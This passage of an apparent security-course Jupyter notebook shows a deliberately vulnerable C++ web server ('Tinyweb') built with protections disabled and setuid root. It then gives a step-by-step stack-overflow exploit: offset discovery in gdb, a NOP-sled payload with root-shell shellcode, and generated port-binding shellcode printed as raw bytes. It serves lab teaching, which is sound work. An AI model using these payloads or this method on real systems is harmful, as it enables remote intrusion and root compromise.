      "\tptr = strstr(request, \" HTTP/\"); // search for valid looking request\n",
      "\tif(ptr == NULL) { // then this isn't valid HTTP\n",
      "\t\tprintf(\" NOT HTTP!\\n\");\n",
      "\t} \n",
      "\telse {\n",
      "\t\t*ptr = 0; // terminate the buffer at the end of the URL\n",
      "\t\tptr = NULL; // set ptr to NULL (used to flag for an invalid request)\n",
      "\t\tif(strncmp(request, \"GET \", 4) == 0) {  // get request\n",
      "\t\t\tptr = request+4; // ptr is the URL\n",
      "\t\t\treq_type = GET;\n",
      "\t\t}\n",
      "\t\tif(strncmp(request, \"HEAD \", 5) == 0) { // head request\n",
      "\t\t \tptr = request+5; // ptr is the URL\n",
      "\t\t \treq_type = HEAD;\n",
      "\t\t}\n",
      "\n",
      "\t\tif(req_type == UNKNOWN) { // then this is not a recognized request\n",
      "\t\t\tprintf(\"\\tUNKNOWN REQUEST!\\n\");\n",
      "\t\t} \n",
      "\t\telse if (req_type == GET) { // valid request, with ptr pointing to the resource name\n",
      "\t\t\tsend_file(sockfd, ptr);\n",
      "\t    }\n",
      "   } // end if block for valid HTTP\n",
      "   shutdown(sockfd, SHUT_RDWR); // close the socket gracefully\n",
      "}\n",
      "\n",
      "/* This function accepts an open file descriptor and returns     \n",
      " * the size of the associated file.  Returns -1 on failure.\n",
      " */\n",
      "int get_file_size(int fd) {\n",
      "\tstruct stat stat_struct;\n",
      "\n",
      "\tif(fstat(fd, &stat_struct) == -1)\n",
      "\t\treturn -1;\n",
      "\treturn (int) stat_struct.st_size;\n",
      "}\n",
      "\n",
      "void send_file_not_found(const int sockfd) {\n",
      "\tprintf(\" 404 Not Found\\n\");\n",
      "\tsend_string(sockfd, \"HTTP/1.0 404 NOT FOUND\\r\\n\");\n",
      "\tsend_string(sockfd, \"Server: Tiny webserver\\r\\n\\r\\n\");\n",
      "\tsend_string(sockfd, \"<html><head><title>404 Not Found</title></head>\");\n",
      "\tsend_string(sockfd, \"<body><h1>URL not found</h1></body></html>\\r\\n\");\n",
      "}\n",
      "\n",
      "void send_file(const int sockfd, char *ptr) {\n",
      "\t// handle GET request\n",
      "\tchar resource[500];\n",
      "\tint fd, length;\n",
      "\n",
      "\tif (ptr[strlen(ptr) - 1] == '/')  // for resources ending with '/'\n",
      "\t\tstrcat(ptr, \"index.html\");     // add 'index.html' to the end\n",
      "\tstrcpy(resource, WEBROOT);     // begin resource with web root path\n",
      "\tstrcat(resource, ptr);         //  and append resource path\n",
      "\n",
      "\tfd = open(resource, O_RDONLY, 0); // try to open the file\n",
      "\tprintf(\"\\tOpening \\'%s\\'\\t\", resource);\n",
      "\n",
      "\tif(fd == -1) { // if file is not found\n",
      "\t\tsend_file_not_found(sockfd);\n",
      "\t} \n",
      "\telse {      // otherwise, serve up the file\n",
      "\t\tprintf(\" 200 OK\\n\");\n",
      "\t\tsend_string(sockfd, \"HTTP/1.0 200 OK\\r\\n\");\n",
      "\t\tsend_string(sockfd, \"Server: Tiny webserver\\r\\n\\r\\n\");\n",
      "\t\t\n",
      "\t\tif( (length = get_file_size(fd)) == -1)\n",
      "\t\t\tfatal(\"getting resource file size\");\n",
      "\n",
      "\t\tptr = (char *) malloc(length);\n",
      "\t\tif(ptr == NULL)\n",
      "\t\t\tfatal(\"allocating memory for reading resource\");\n",
      "\n",
      "\t\tread(fd, ptr, length); // read the file into memory\n",
      "\t\tsend(sockfd, ptr, length, 0);  // send it to socket\n",
      "\t\tfree(ptr); // free file memory\n",
      "\t\tclose(fd); // close the file\n",
      "\t} // end if block for file found/not found\n",
      "}"
     ]
    }
   ],
   "source": [
    "! cat main.cpp"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 17,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<html>\n",
      "\t<head><title>A sample webpage</title>\n",
      "\t</head>\n",
      "\t<body bgcolor=\"#000000\" text=\"#ffffffff\">\n",
      "\t\t<center>\n",
      "\t\t\t<h1>Home<h1>\n",
      "\n",
      "\t\t\t<h3>This is a sample webpage....</h3>\n",
      "\n",
      "\t\t\t<p>...and this is a paragraph</p>\n",
      "\n",
      "\t\t\t<p>\n",
      "\t\t\t\tA simple link to <a href=\"http://example.com\" target=\"__blank\">Example.com</a>\n",
      "\t\t\t</p>\n",
      "\n",
      "\t\t\t<p>...and even a sample image:</p>\n",
      "\t\t\t<img src=\"image.jpg\"><br>\n",
      "\t\t</center>\n",
      "\t</body>\n",
      "</html>\n"
     ]
    }
   ],
   "source": [
    "! cat webroot/index.html"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 18,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <cstring>\n",
      "#include <string>\n",
      "\n",
      "using namespace std;\n",
      "\n",
      "/* This function accepts a socket FD and a ptr to the null terminated\n",
      " * string to send.  The function will make sure all the bytes of the\n",
      " * string are sent.  Returns 1 on success and 0 on failure.\n",
      " */\n",
      "int send_string(int sockfd, string buffer) {\n",
      "   int sent_bytes, bytes_to_send;\n",
      "   bytes_to_send = buffer.length();\n",
      "   while(bytes_to_send > 0) {\n",
      "      sent_bytes = send(sockfd, buffer.c_str(), bytes_to_send, 0);\n",
      "      if(sent_bytes == -1)\n",
      "         return 0; // return 0 on send error\n",
      "      bytes_to_send -= sent_bytes;\n",
      "      buffer += sent_bytes;\n",
      "   }\n",
      "   return 1; // return 1 on success\n",
      "}\n",
      "\n",
      "/* This function accepts a socket FD and a ptr to a destination\n",
      " * buffer.  It will receive from the socket until the EOL byte\n",
      " * sequence in seen.  The EOL bytes are read from the socket, but\n",
      " * the destination buffer is terminated before these bytes.\n",
      " * Returns the size of the read line (without EOL bytes).\n",
      " */\n",
      "int recv_line(int sockfd, char *dest_buffer) {\n",
      "#define EOL \"\\r\\n\" // End-Of-Line byte sequence\n",
      "#define EOL_SIZE 2\n",
      "   char *ptr;\n",
      "   int eol_matched = 0;\n",
      "\n",
      "   ptr = dest_buffer;\n",
      "   while(recv(sockfd, ptr, 1, 0) == 1) { // read a single byte\n",
      "      if(*ptr == EOL[eol_matched]) { // does this byte match terminator\n",
      "         eol_matched++;\n",
      "         if(eol_matched == EOL_SIZE) { // if all bytes match terminator,\n",
      "            *(ptr+1-EOL_SIZE) = '\\0'; // terminate the string\n",
      "            return strlen(dest_buffer); // return bytes recevied\n",
      "         }\n",
      "      } else {\n",
      "         eol_matched = 0;\n",
      "      }   \n",
      "      ptr++; // increment the pointer to the next byter;\n",
      "   }\n",
      "   return 0; // didn't find the end of line characters\n",
      "}\n",
      "\n",
      "\n",
      "/* Structure for Ethernet headers */\n",
      "#define ETHER_ADDR_LEN 6\n",
      "#define ETHER_HDR_LEN 14\n",
      "\n",
      "struct ether_hdr {\n",
      "   unsigned char ether_dest_addr[ETHER_ADDR_LEN]; // Destination MAC address\n",
      "   unsigned char ether_src_addr[ETHER_ADDR_LEN];  // Source MAC address\n",
      "   unsigned short ether_type; // Type of Ethernet packet\n",
      "};\n",
      "\n",
      "/* Structure for Internet Protocol (IP) headers */\n",
      "struct ip_hdr {\n",
      "   unsigned char ip_version_and_header_length; // version and header length combined\n",
      "   unsigned char ip_tos;          // type of service\n",
      "   unsigned short ip_len;         // total length\n",
      "   unsigned short ip_id;          // identification number\n",
      "   unsigned short ip_frag_offset; // fragment offset and flags\n",
      "   unsigned char ip_ttl;          // time to live\n",
      "   unsigned char ip_type;         // protocol type\n",
      "   unsigned short ip_checksum;    // checksum\n",
      "   unsigned int ip_src_addr;      // source IP address\n",
      "   unsigned int ip_dest_addr;     // destination IP address\n",
      "};\n",
      "\n",
      "/* Structure for Transmission Control Protocol (TCP) headers */\n",
      "struct tcp_hdr {\n",
      "   unsigned short tcp_src_port;   // source TCP port\n",
      "   unsigned short tcp_dest_port;  // destination TCP port\n",
      "   unsigned int tcp_seq;          // TCP sequence number\n",
      "   unsigned int tcp_ack;          // TCP acknowledgement number\n",
      "   unsigned char reserved:4;      // 4-bits from the 6-bits of reserved space\n",
      "   unsigned char tcp_offset:4;    // TCP data offset for little endian host\n",
      "   unsigned char tcp_flags;       // TCP flags (and 2-bits from reserved space)\n",
      "#define TCP_FIN   0x01\n",
      "#define TCP_SYN   0x02\n",
      "#define TCP_RST   0x04\n",
      "#define TCP_PUSH  0x08\n",
      "#define TCP_ACK   0x10\n",
      "#define TCP_URG   0x20\n",
      "   unsigned short tcp_window;     // TCP window size\n",
      "   unsigned short tcp_checksum;   // TCP checksum\n",
      "   unsigned short tcp_urgent;     // TCP urgent pointer\n",
      "};\n"
     ]
    }
   ],
   "source": [
    "! cat ../util/net_utility.h"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "#include <stdio.h>\n",
      "#include <stdlib.h>\n",
      "#include <string.h>\n",
      "#include <string>\n",
      "\n",
      "using namespace std;\n",
      "\n",
      "// A function to display an error message and then exit\n",
      "void fatal(string message) {\n",
      "   char error_message[100];\n",
      "\n",
      "   strcpy(error_message, \"[!!] Fatal Error \");\n",
      "   strncat(error_message, message.c_str(), 83);\n",
      "   perror(error_message);\n",
      "   exit(-1);\n",
      "}\n",
      "\n",
      "// An error checked malloc() wrapper function\n",
      "void *ec_malloc(unsigned int size) {\n",
      "   void *ptr;\n",
      "   ptr = malloc(size);\n",
      "   if(ptr == NULL)\n",
      "      fatal(\"in ec_malloc() on memory allocation\");\n",
      "   return ptr;\n",
      "}\n",
      "\n",
      "// dumps raw memory in hex byte and printable split format\n",
      "void dump(char *data_buffer, const unsigned int length) {\n",
      "\tunsigned char byte;\n",
      "\tunsigned int i, j;\n",
      "\tfor(i=0; i < length; i++) {\n",
      "\t\tbyte = data_buffer[i];\n",
      "\t\tprintf(\"%02x \", data_buffer[i]);  // display byte in hex\n",
      "\t\tif(((i%16)==15) || (i==length-1)) {\n",
      "\t\t\tfor(j=0; j < 15-(i%16); j++)\n",
      "\t\t\t\tprintf(\"   \");\n",
      "\t\t\tprintf(\"| \");\n",
      "\t\t\tfor(j=(i-(i%16)); j <= i; j++) {  // display printable bytes from line\n",
      "\t\t\t\tbyte = data_buffer[j];\n",
      "\t\t\t\tif((byte > 31) && (byte < 127)) // outside printable char range\n",
      "\t\t\t\t\tprintf(\"%c\", byte);\n",
      "\t\t\t\telse\n",
      "\t\t\t\t\tprintf(\".\");\n",
      "\t\t\t}\n",
      "\t\t\tprintf(\"\\n\"); // end of the dump line (each line 16 bytes)\n",
      "\t\t} // end if\n",
      "\t} // end for\n",
      "}\n",
      "\n"
     ]
    }
   ],
   "source": [
    "! cat ../util/utility.h"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[sudo] password for kali: # disable ASLR\n",
      "echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n",
      "0\n",
      "# compiles .cpp to object file .o\n",
      "g++ -c -g -Wall -std=c++17 -m32 main.cpp\n",
      "# builds executable from object files\n",
      "g++ -m32 -fno-stack-protector -z execstack -no-pie -o tinyweb.exe *.o\n",
      "sudo chown root:root tinyweb.exe\n",
      "sudo chmod u+s tinyweb.exe\n"
     ]
    }
   ],
   "source": [
    "! echo kali | sudo -S make"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "total 216\n",
      "drwxr-xr-x 3 kali kali  4096 Aug 30 12:08 .\n",
      "drwxr-xr-x 5 kali kali  4096 Aug 28 11:34 ..\n",
      "-rw-r--r-- 1 kali kali  1701 Aug 28 11:34 exploit.py\n",
      "-rw-r--r-- 1 kali kali  1002 Aug 28 11:34 junk.txt\n",
      "-rw-r--r-- 1 kali kali   530 Aug 28 11:34 local_exploit.bin\n",
      "-rw-r--r-- 1 kali kali  5189 Aug 28 11:34 main.cpp\n",
      "-rw-r--r-- 1 root root 91008 Aug 30 12:08 main.o\n",
      "-rw-r--r-- 1 kali kali   864 Aug 28 11:34 Makefile\n",
      "-rw-r--r-- 1 kali kali   530 Aug 28 11:34 port_bind_exploit.bin\n",
      "-rwsr-xr-x 1 root root 84780 Aug 30 12:08 tinyweb.exe\n",
      "drwxr-xr-x 2 kali kali  4096 Aug 28 11:34 webroot\n"
     ]
    }
   ],
   "source": [
    "! ls -al"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### run tinyweb.exe from a terminal\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity/demos/tinyweb]\n",
    "└─$ make run                                                                                           \n",
    "./tinyweb.exe\n",
    "Accepting web requests on port 80\n",
    "\n",
    "```\n",
    "\n",
    "### open a browser and browse to localhost\n",
    "- you'll see the following log on the Tinyweb server's console\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity/demos/tinyweb]\n",
    "└─$ make run                                                                                           \n",
    "./tinyweb.exe\n",
    "Accepting web requests on port 80\n",
    "Got request from 127.0.0.1:51790 \"GET / HTTP/1.1\"\n",
    "        Opening './webroot/index.html'   200 OK\n",
    "Got request from 127.0.0.1:51792 \"GET /image.jpg HTTP/1.1\"\n",
    "        Opening './webroot/image.jpg'    200 OK\n",
    "\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Tinyweb Stack Overflow Exploitation\n",
    "\n",
    "- crash the Tinyweb server\n",
    "- find the flaw\n",
    "- pawn the system\n",
    "\n",
    "\n",
    "## Crash Tinyweb server\n",
    "\n",
    "- use a different VM or a machine (attacker machine)\n",
    "- generate a junk data of 1000 bytes and send it to the server"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 33,
   "metadata": {},
   "outputs": [],
   "source": [
    "! python3 -c 'print(\"A\"*1000, end=\"\\r\\n\")' > junk.txt"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|\n",
      "*\n",
      "000003e0  41 41 41 41 41 41 41 41  0d 0a                    |AAAAAAAA..|\n",
      "000003ea\n"
     ]
    }
   ],
   "source": [
    "! hexdump -C junk.txt"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 35,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "1002 junk.txt\n"
     ]
    }
   ],
   "source": [
    "# count the number of bytes\n",
    "! wc -c junk.txt"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### send junk\n",
    "- replace tinyserver ip and port\n",
    "- send the junk from different VM or system\n",
    "\n",
    "#### attacker\n",
    "\n",
    "```bash\n",
    "$ cat junk.txt | nc -v [tinyseverip] [port]\n",
    "```\n",
    "\n",
    "#### target\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity/demos/tinyweb]\n",
    "└─$ make run\n",
    "./tinyweb.exe\n",
    "Accepting web requests on port 80\n",
    "make: *** [Makefile:29: run] Segmentation fault\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "jp-MarkdownHeadingCollapsed": true
   },
   "source": [
    "## Pawn the System running Tinyweb server\n",
    "\n",
    "- find the overflow vulnerability\n",
    "- find the return address and offset from `request` buffer\n",
    "    - this will give us the lenght of the payload we need to build\n",
    "\n",
    "### Using GDB on a running process\n",
    "- run the tinyweb.exe and get its process id to attach it to the gdb\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity/demos/tinyweb]\n",
    "└─$ ps aux | grep tinyweb             \n",
    "root       12385  0.0  0.0   2452   520 pts/3    S+   13:33   0:00 ./tinyweb.exe\n",
    "kali       12398  0.0  0.0   6184   708 pts/4    S+   13:34   0:00 grep --color=auto tinyweb\n",
    "```\n",
    "\n",
    "- Attach gdb to the tinyweb server\n",
    "\n",
    "```\n",
    "$ sudo gdb -q --pid=[tinywebpid] --symbols=./tinyweb.exe\n",
    "```\n",
    "\n",
    "- use gdb to examine memory and addresses\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity/demos/tinyweb]\n",
    "└─$ sudo gdb -q --pid=12385 --symbols=./tinyweb.exe\n",
    "[sudo] password for kali: \n",
    "Reading symbols from ./tinyweb.exe...\n",
    "Attaching to process 12385\n",
    "Load new symbol table from \"/home/kali/projects/NetworkSecurity/demos/tinyweb/tinyweb.exe\"? (y or n) y\n",
    "Reading symbols from /home/kali/projects/NetworkSecurity/demos/tinyweb/tinyweb.exe...\n",
    "Reading symbols from /lib32/libc.so.6...\n",
    "(No debugging symbols found in /lib32/libc.so.6)\n",
    "Reading symbols from /lib/ld-linux.so.2...\n",
    "(No debugging symbols found in /lib/ld-linux.so.2)\n",
    "--Type <RET> for more, q to quit, c to continue without paging--c\n",
    "0xf7fd0559 in __kernel_vsyscall ()  \n",
    "\n",
    "(gdb) list main # list 10 lines around main\n",
    "20      void handle_connection(int, struct sockaddr_in *); // handle web requests\n",
    "21      int get_file_size(int); // returns the filesize of open file descriptor\n",
    "22      void send_file_not_found(const int); // send file not found error\n",
    "23      void send_file(const int, char *); // send file/resource requested\n",
    "24\n",
    "25      int main(void) {\n",
    "26         int sockfd, new_sockfd, yes=1; \n",
    "27         struct sockaddr_in host_addr, client_addr;   // my address information\n",
    "28         socklen_t sin_size;\n",
    "29\n",
    "(gdb)\n",
    "(gdb) list 75 # list 10 lines around line #75\n",
    "70              // receive one line from client and store it into request buffer\n",
    "71              length = recv_line(sockfd, request);\n",
    "72\n",
    "73              printf(\"Got request from %s:%d \\\"%s\\\"\\n\", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);\n",
    "74\n",
    "75              ptr = strstr(request, \" HTTP/\"); // search for valid looking request\n",
    "76              if(ptr == NULL) { // then this isn't valid HTTP\n",
    "77                      printf(\" NOT HTTP!\\n\");\n",
    "78              } \n",
    "79              else {                                                                     \n",
    "\n",
    "$ break 71 # break at recv_line function that has overrun issue\n",
    "\n",
    "$ continue # make a get request using a terminal or browser to hit the breakpoint\n",
    "$ print request\n",
    "$ print /x &request # Note the address of request variable\n",
    "$1 = (char (*)[500]) 0xffffb770\n",
    "(gdb) \n",
    "\n",
    "\n",
    "$ x/16wx request+500 # examine 16 words at request+500 bytes in stack - return address must be definitely 500 bytes away from request!\n",
    "(gdb) x /16wx request+500\n",
    "0xffffb964:     0x00000000      0x00000003      0x2ddeb000      0x0804cff4\n",
    "0xffffb974:     0x0804cff4      0xffffba78      **0x08049a77**      0x00000004\n",
    "0xffffb984:     0xffffb994      0xffffb990      0x0804977c      0x00000010\n",
    "0xffffb994:     0x06dd0002      0x0100007f      0x00000000      0x00000000\n",
    "\n",
    "(gdb) bt # find the return address to main\n",
    "#0  handle_connection (sockfd=4, client_addr_ptr=0xffffb994) at main.cpp:71\n",
    "#1  0x08049a77 in main () at main.cpp:55\n",
    "\n",
    "# return address to main is also stored at $ebp+4 \n",
    "(gdb) x/x $ebp+4\n",
    "0xffffb97c:     0x08049a77\n",
    "\n",
    "# OFFSET to return address\n",
    "$ p /u <location of return address> - <request address> \n",
    "(gdb) p /u 0xffffb97c - 0xffffb770\n",
    "$2 = 524\n",
    "\n",
    "# find the address of about 100 bytes from the base of request (controlled return address)\n",
    "(gdb) p /x request+100\n",
    "$3 = 0xffffb7d4\n",
    "```\n",
    "\n",
    "- exit the debugger and rerun the server on the same terminal"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Exploit with Local Shellcode\n",
    "- create a exploit code with local shellcode and send it to the server\n",
    "- use a different terminal on the same system (you can use different VM)\n",
    "- total length of string buffer (shellcode) = offset + 4 bytes\n",
    "\n",
    "```bash\n",
    "| NOP SLED \\x90 | shell code | repeated controlled return addrees to NOP SLED |\n",
    "\n",
    "```\n",
    "- find the size of the shellcode\n",
    "- pre-built shellcode can be found in `shellcode` subfolder of the NetworkExploitation folder"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 18,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'/home/kali/projects/NetworkSecurity/demos/tinyweb'"
      ]
     },
     "execution_count": 18,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "%pwd"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/home/kali/projects/NetworkSecurity\n"
     ]
    }
   ],
   "source": [
    "%cd ../../\n",
    "# go to NetworkSecurity folder"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'/home/kali/projects/NetworkSecurity'"
      ]
     },
     "execution_count": 20,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "%pwd"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "35 shellcode/shellcode_root.bin\n"
     ]
    }
   ],
   "source": [
    "!wc -c shellcode/shellcode_root.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 22,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "293"
      ]
     },
     "execution_count": 22,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# size of nop sled = total buffer - shellcode size - repeated return address\n",
    "(524+4)-35-(50*4)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 23,
   "metadata": {},
   "outputs": [],
   "source": [
    "# let's generate the exploit code\n",
    "! python3 -c 'import sys; sys.stdout.buffer.write(b\"\\x90\"*293)' > local_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "293 local_exploit.bin\n"
     ]
    }
   ],
   "source": [
    "! wc -c local_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 25,
   "metadata": {},
   "outputs": [],
   "source": [
    "# let's append the shellcode at the end of the exploit code\n",
    "! cat shellcode/shellcode_root.bin >> local_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 26,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "328 local_exploit.bin\n"
     ]
    }
   ],
   "source": [
    "! wc -c local_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 27,
   "metadata": {},
   "outputs": [],
   "source": [
    "# let's append the 50 repeated controlled return address: 0xffffbb84\n",
    "! python3 -c 'import sys; sys.stdout.buffer.write(b\"\\xd4\\xb7\\xff\\xff\"*50)' >> local_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 28,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "528 local_exploit.bin\n"
     ]
    }
   ],
   "source": [
    "! wc -c local_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 29,
   "metadata": {},
   "outputs": [],
   "source": [
    "# write the HTTP command delimeter end of request\n",
    "! python3 -c 'import sys; sys.stdout.buffer.write(b\"\\r\\n\")' >> local_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 30,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "530 local_exploit.bin\n"
     ]
    }
   ],
   "source": [
    "! wc -c local_exploit.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|\n",
      "*\n",
      "00000120  90 90 90 90 90 31 c0 31  db 31 c9 99 b0 a4 cd 80  |.....1.1.1......|\n",
      "00000130  6a 0b 58 51 68 2f 2f 73  68 68 2f 62 69 6e 89 e3  |j.XQh//shh/bin..|\n",
      "00000140  51 89 e2 53 89 e1 cd 80  d4 b7 ff ff d4 b7 ff ff  |Q..S............|\n",
      "00000150  d4 b7 ff ff d4 b7 ff ff  d4 b7 ff ff d4 b7 ff ff  |................|\n",
      "*\n",
      "00000210  0d 0a                                             |..|\n",
      "00000212\n"
     ]
    }
   ],
   "source": [
    "! hexdump -C local_exploit.bin"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Send the exploit code\n",
    "- restart the Tinyweb server if needed\n",
    "- send the exploit code using netcat to the target from a terminal\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity]\n",
    "└─$ cat local_exploit.bin | nc -v 127.0.0.1 80                                                                1 ⨯\n",
    "localhost [127.0.0.1] 80 (http) open\n",
    "```\n",
    "- the server console should look like the following if successfully exploited\n",
    "\n",
    "```bash\n",
    "┌──(kali㉿K)-[~/projects/NetworkSecurity/demos/tinyweb]\n",
    "└─$ ./tinyweb.exe\n",
    "Accepting web requests on port 80\n",
    "Got request from 127.0.0.1:51954 \"�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��j\n",
    "    XQh//shh/bin��Q��S��D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���D���\"\n",
    " NOT HTTP!\n",
    "# whoami\n",
    "root\n",
    "# pwd\n",
    "/home/kali/projects/NetworkSecurity/demos/tinyweb                                  \n",
    "# uname                                                                             \n",
    "Linux\n",
    "# \n",
    "```\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Remote Exploit\n",
    "- local exploit is not practical in real-world, why?\n",
    "- let's create a port binding shellcode so the attacker can remotely login to the victim once pwned\n",
    "- use a different VM or system as an attacker machine\n",
    "- create Port Binding Shellcode Exploit\n",
    "- Generate Shellcode using GDB PEDA\n",
    "- write the binary shellcode to a file\n",
    "- add about 100 bytes to the beginning address of `request` buffer to get the working landing address\n",
    "\n",
    "### Generate port binding shellcode\n",
    "- make sure to provide IP of the target/victim system and available ports above 1024\n",
    "- gdb-peda$ shellcode generate x86/linux bindport <port> <ip>\n",
    "- find victim's IP address\n",
    "    \n",
    "```bash\n",
    "┌──(kali㉿kali)-[~/projects/NetworkSecurity/demos/tinyweb]\n",
    "└─$ ifconfig        \n",
    "eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n",
    "        inet 192.168.47.130  netmask 255.255.255.0  broadcast 192.168.47.255\n",
    "        inet6 fe80::ed5d:b4c2:d275:17ca  prefixlen 64  scopeid 0x20<link>\n",
    "        ether 00:0c:29:8a:20:62  txqueuelen 1000  (Ethernet)\n",
    "        RX packets 47707  bytes 68315780 (65.1 MiB)\n",
    "        RX errors 0  dropped 0  overruns 0  frame 0\n",
    "        TX packets 4863  bytes 456804 (446.0 KiB)\n",
    "        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n",
    "\n",
    "\n",
    "- \n",
    "┌──(kali㉿K)-[~]\n",
    "└─$ gdb -q           \n",
    "gdb-peda$ shellcode generate\n",
    "Available shellcodes:                                                                          \n",
    "    x86/linux exec                                                                             \n",
    "    x86/linux bindport                                                                        \n",
    "    x86/linux connect                                                                         \n",
    "    x86/bsd exec                                                                              \n",
    "    x86/bsd bindport\n",
    "    x86/bsd connect\n",
    "\n",
    "# shellcode generate x86/linux bindport <port> <ip>\n",
    "- pick a port, e.g. 9999 # that's unlikely in use by the Tinyweb server\n",
    "- find the IP of tinyweb server to generate the shellcode\n",
    "- e.g., 192.168.195.168 is the IP of my VM running tinweb server\n",
    "\n",
    "gdb-peda$ shellcode generate x86/linux bindport 9999 192.168.47.130\n",
    "# x86/linux/bindport: 84 bytes\n",
    "# port=9999, host=192.168.47.130\n",
    "shellcode = (\n",
    "    \"\\x31\\xdb\\x53\\x43\\x53\\x6a\\x02\\x6a\\x66\\x58\\x99\\x89\\xe1\\xcd\\x80\\x96\"\n",
    "    \"\\x43\\x52\\x66\\x68\\x27\\x0f\\x66\\x53\\x89\\xe1\\x6a\\x66\\x58\\x50\\x51\\x56\"\n",
    "    \"\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xd1\\xe3\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1\"\n",
    "    \"\\xb0\\x66\\xcd\\x80\\x93\\x6a\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\xb0\"\n",
    "    \"\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53\"\n",
    "    \"\\x89\\xe1\\xcd\\x80\"\n",
    ")\n",
    "\n",
    "gdb-peda$ quit\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 32,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/home/kali/projects/NetworkSecurity\n"
     ]
    }
   ],
   "source": [
    "! pwd"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 33,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/home/kali/projects/NetworkSecurity/demos/tinyweb\n"
     ]
    }
   ],
   "source": [
    "%cd demos/tinyweb"
   ]
  },
